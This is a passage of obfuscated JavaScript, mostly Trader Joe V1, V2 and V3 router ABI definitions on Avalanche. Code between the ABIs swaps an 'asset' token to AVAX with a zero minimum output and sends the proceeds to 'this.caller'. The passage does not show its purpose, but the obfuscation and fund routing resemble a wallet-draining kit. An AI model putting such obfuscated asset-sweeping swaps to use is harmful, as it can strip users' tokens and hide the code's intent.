internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForAVAX", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForAVAXSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactAVAX", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x1b4aba = new ethers.Contract(_0x2b7b1b, _0x4bcdc6, _0x9d9505); | |
let _0x50426c = await _0x1b4aba.WAVAX(); | |
let _0x3c1aa0 = []; | |
_0x3c1aa0[0] = _0x4f37a4.asset.token; | |
_0x3c1aa0[1] = _0x50426c; | |
return [_0x1b4aba.swapExactTokensForAVAX(_0x4f37a4.asset.amount, 0, _0x3c1aa0, this.caller, _0x1b1427), _0x50426c]; | |
} | |
case "TraderJoeV2": | |
{ | |
let _0x5b80ea = [{ | |
inputs: [{ | |
internalType: "contract ILBFactory", | |
name: "_factory", | |
type: "address" | |
}, { | |
internalType: "contract IJoeFactory", | |
name: "_oldFactory", | |
type: "address" | |
}, { | |
internalType: "contract IWAVAX", | |
name: "_wavax", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "bp", | |
type: "uint256" | |
}], | |
name: "BinHelper__BinStepOverflows", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "BinHelper__IdOverflows", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "JoeLibrary__InsufficientAmount", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "JoeLibrary__InsufficientLiquidity", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountXMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountX", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountYMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountY", | |
type: "uint256" | |
}], | |
name: "LBRouter__AmountSlippageCaught", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "id", | |
type: "uint256" | |
}], | |
name: "LBRouter__BinReserveOverflows", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "LBRouter__BrokenSwapSafetyCheck", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "currentTimestamp", | |
type: "uint256" | |
}], | |
name: "LBRouter__DeadlineExceeded", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "LBRouter__FailedToSendAVAX", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "idDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "idSlippage", | |
type: "uint256" | |
}], | |
name: "LBRouter__IdDesiredOverflows", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "int256", | |
name: "id", | |
type: "int256" | |
}], | |
name: "LBRouter__IdOverflows", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "activeIdDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "idSlippage", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "activeId", | |
type: "uint256" | |
}], | |
name: "LBRouter__IdSlippageCaught", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
name: "LBRouter__InsufficientAmountOut", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "wrongToken", | |
type: "address" | |
}], | |
name: "LBRouter__InvalidTokenPath", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "LBRouter__LengthsMismatch", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
name: "LBRouter__MaxAmountInExceeded", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "LBRouter__NotFactoryOwner", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenX", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenY", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "binStep", | |
type: "uint256" | |
}], | |
name: "LBRouter__PairNotCreated", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "LBRouter__SenderIsNotWAVAX", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "id", | |
type: "uint256" | |
}], | |
name: "LBRouter__SwapOverflows", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "excess", | |
type: "uint256" | |
}], | |
name: "LBRouter__TooMuchTokensIn", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserve", | |
type: "uint256" | |
}], | |
name: "LBRouter__WrongAmounts", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenX", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenY", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountX", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountY", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "msgValue", | |
type: "uint256" | |
}], | |
name: "LBRouter__WrongAvaxLiquidityParameters", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "LBRouter__WrongTokenOrder", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "Math128x128__LogUnderflow", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "x", | |
type: "uint256" | |
}, { | |
internalType: "int256", | |
name: "y", | |
type: "int256" | |
}], | |
name: "Math128x128__PowerUnderflow", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "prod1", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "denominator", | |
type: "uint256" | |
}], | |
name: "Math512Bits__MulDivOverflow", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "prod1", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "offset", | |
type: "uint256" | |
}], | |
name: "Math512Bits__MulShiftOverflow", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "offset", | |
type: "uint256" | |
}], | |
name: "Math512Bits__OffsetOverflows", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "x", | |
type: "uint256" | |
}], | |
name: "SafeCast__Exceeds128Bits", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "x", | |
type: "uint256" | |
}], | |
name: "SafeCast__Exceeds40Bits", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "TokenHelper__CallFailed", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "TokenHelper__NonContract", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "TokenHelper__TransferFailed", | |
type: "error" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "contract IERC20", | |
name: "tokenX", | |
type: "address" | |
}, { | |
internalType: "contract IERC20", | |
name: "tokenY", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "binStep", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountX", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountY", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountXMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountYMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "activeIdDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "idSlippage", | |
type: "uint256" | |
}, { | |
internalType: "int256[]", | |
name: "deltaIds", | |
type: "int256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "distributionX", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "distributionY", | |
type: "uint256[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
internalType: "struct ILBRouter.LiquidityParameters", | |
name: "_liquidityParameters", | |
type: "tuple" | |
}], | |
name: "addLiquidity", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "depositIds", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "liquidityMinted", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "contract IERC20", | |
name: "tokenX", | |
type: "address" | |
}, { | |
internalType: "contract IERC20", | |
name: "tokenY", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "binStep", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountX", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountY", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountXMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountYMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "activeIdDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "idSlippage", | |
type: "uint256" | |
}, { | |
internalType: "int256[]", | |
name: "deltaIds", | |
type: "int256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "distributionX", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "distributionY", | |
type: "uint256[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
internalType: "struct ILBRouter.LiquidityParameters", | |
name: "_liquidityParameters", | |
type: "tuple" | |
}], | |
name: "addLiquidityAVAX", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "depositIds", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "liquidityMinted", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IERC20", | |
name: "_tokenX", | |
type: "address" | |
}, { | |
internalType: "contract IERC20", | |
name: "_tokenY", | |
type: "address" | |
}, { | |
internalType: "uint24", | |
name: "_activeId", | |
type: "uint24" | |
}, { | |
internalType: "uint16", | |
name: "_binStep", | |
type: "uint16" | |
}], | |
name: "createLBPair", | |
outputs: [{ | |
internalType: "contract ILBPair", | |
name: "pair", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "contract ILBFactory", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract ILBPair", | |
name: "_LBPair", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_price", | |
type: "uint256" | |
}], | |
name: "getIdFromPrice", | |
outputs: [{ | |
internalType: "uint24", | |
name: "", | |
type: "uint24" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract ILBPair", | |
name: "_LBPair", | |
type: "address" | |
}, { | |
internalType: "uint24", | |
name: "_id", | |
type: "uint24" | |
}], | |
name: "getPriceFromId", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract ILBPair", | |
name: "_LBPair", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amountOut", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_swapForY", | |
type: "bool" | |
}], | |
name: "getSwapIn", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "feesIn", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract ILBPair", | |
name: "_LBPair", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amountIn", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_swapForY", | |
type: "bool" | |
}], | |
name: "getSwapOut", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "feesIn", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "oldFactory", | |
outputs: [{ | |
internalType: "contract IJoeFactory", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IERC20", | |
name: "_tokenX", | |
type: "address" | |
}, { | |
internalType: "contract IERC20", | |
name: "_tokenY", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "_binStep", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "_amountXMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_amountYMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "_ids", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "_amounts", | |
type: "uint256[]" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountX", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountY", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IERC20", | |
name: "_token", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "_binStep", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "_amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_amountAVAXMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "_ids", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "_amounts", | |
type: "uint256[]" | |
}, { | |
internalType: "address payable", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityAVAX", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAX", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "_pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "_tokenPath", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_deadline", | |
type: "uint256" | |
}], | |
name: "swapAVAXForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amountsIn", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "_pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "_tokenPath", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_deadline", | |
type: "uint256" | |
}], | |
name: "swapExactAVAXForTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "_pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "_tokenPath", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_deadline", | |
type: "uint256" | |
}], | |
name: "swapExactAVAXForTokensSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_amountOutMinAVAX", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "_pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "_tokenPath", | |
type: "address[]" | |
}, { | |
internalType: "address payable", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForAVAX", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_amountOutMinAVAX", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "_pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "_tokenPath", | |
type: "address[]" | |
}, { | |
internalType: "address payable", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForAVAXSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "_pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "_tokenPath", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "_pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "_tokenPath", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_amountAVAXOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "_pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "_tokenPath", | |
type: "address[]" | |
}, { | |
internalType: "address payable", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactAVAX", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amountsIn", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "_pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "_tokenPath", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amountsIn", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IERC20", | |
name: "_token", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "sweep", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract ILBToken", | |
name: "_lbToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_to", | |
type: "address" | |
}, { | |
internalType: "uint256[]", | |
name: "_ids", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "_amounts", | |
type: "uint256[]" | |
}], | |
name: "sweepLBToken", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "wavax", | |
outputs: [{ | |
internalType: "contract IWAVAX", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x3adab4 = new ethers.Contract(_0x2b7b1b, _0x5b80ea, _0x9d9505); | |
let _0xc2e22e = await _0x3adab4.wavax(); | |
let _0x43a4d9 = []; | |
_0x43a4d9[0] = _0x4f37a4.asset.token; | |
_0x43a4d9[1] = _0xc2e22e; | |
return [_0x3adab4.swapExactTokensForAVAX(_0x4f37a4.asset.amount, 0, [0], _0x43a4d9, this.caller, _0x1b1427), _0xc2e22e]; | |
} | |
case "TraderJoeV3": | |
{ | |
let _0x194195 = [{ | |
inputs: [{ | |
internalType: "contract ILBFactory", | |
name: "factory", | |
type: "address" | |
}, { | |
internalType: "contract IJoeFactory", | |
name: "factoryV1", | |
type: "address" | |
}, { | |
internalType: "contract ILBLegacyFactory", | |
name: "legacyFactory", | |
type: "address" | |
}, { | |
internalType: "contract ILBLegacyRouter", | |
name: "legacyRouter", | |
type: "address" | |
}, { | |
internalType: "contract IWNATIVE", | |
name: "wnative", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "AddressHelper__CallFailed", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "AddressHelper__NonContract", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "JoeLibrary__InsufficientAmount", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "JoeLibrary__InsufficientLiquidity", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountSlippage", | |
type: "uint256" | |
}], | |
name: "LBRouter__AmountSlippageBPTooBig", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountXMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountX", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountYMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountY", | |
type: "uint256" | |
}], | |
name: "LBRouter__AmountSlippageCaught", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "id", | |
type: "uint256" | |
}], | |
name: "LBRouter__BinReserveOverflows", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "LBRouter__BrokenSwapSafetyCheck", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "currentTimestamp", | |
type: "uint256" | |
}], | |
name: "LBRouter__DeadlineExceeded", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "LBRouter__FailedToSendNATIVE", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "idDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "idSlippage", | |
type: "uint256" | |
}], | |
name: "LBRouter__IdDesiredOverflows", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "int256", | |
name: "id", | |
type: "int256" | |
}], | |
name: "LBRouter__IdOverflows", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "activeIdDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "idSlippage", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "activeId", | |
type: "uint256" | |
}], | |
name: "LBRouter__IdSlippageCaught", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
name: "LBRouter__InsufficientAmountOut", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "wrongToken", | |
type: "address" | |
}], | |
name: "LBRouter__InvalidTokenPath", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "version", | |
type: "uint256" | |
}], | |
name: "LBRouter__InvalidVersion", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "LBRouter__LengthsMismatch", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
name: "LBRouter__MaxAmountInExceeded", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "LBRouter__NotFactoryOwner", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenX", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenY", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "binStep", | |
type: "uint256" | |
}], | |
name: "LBRouter__PairNotCreated", | |
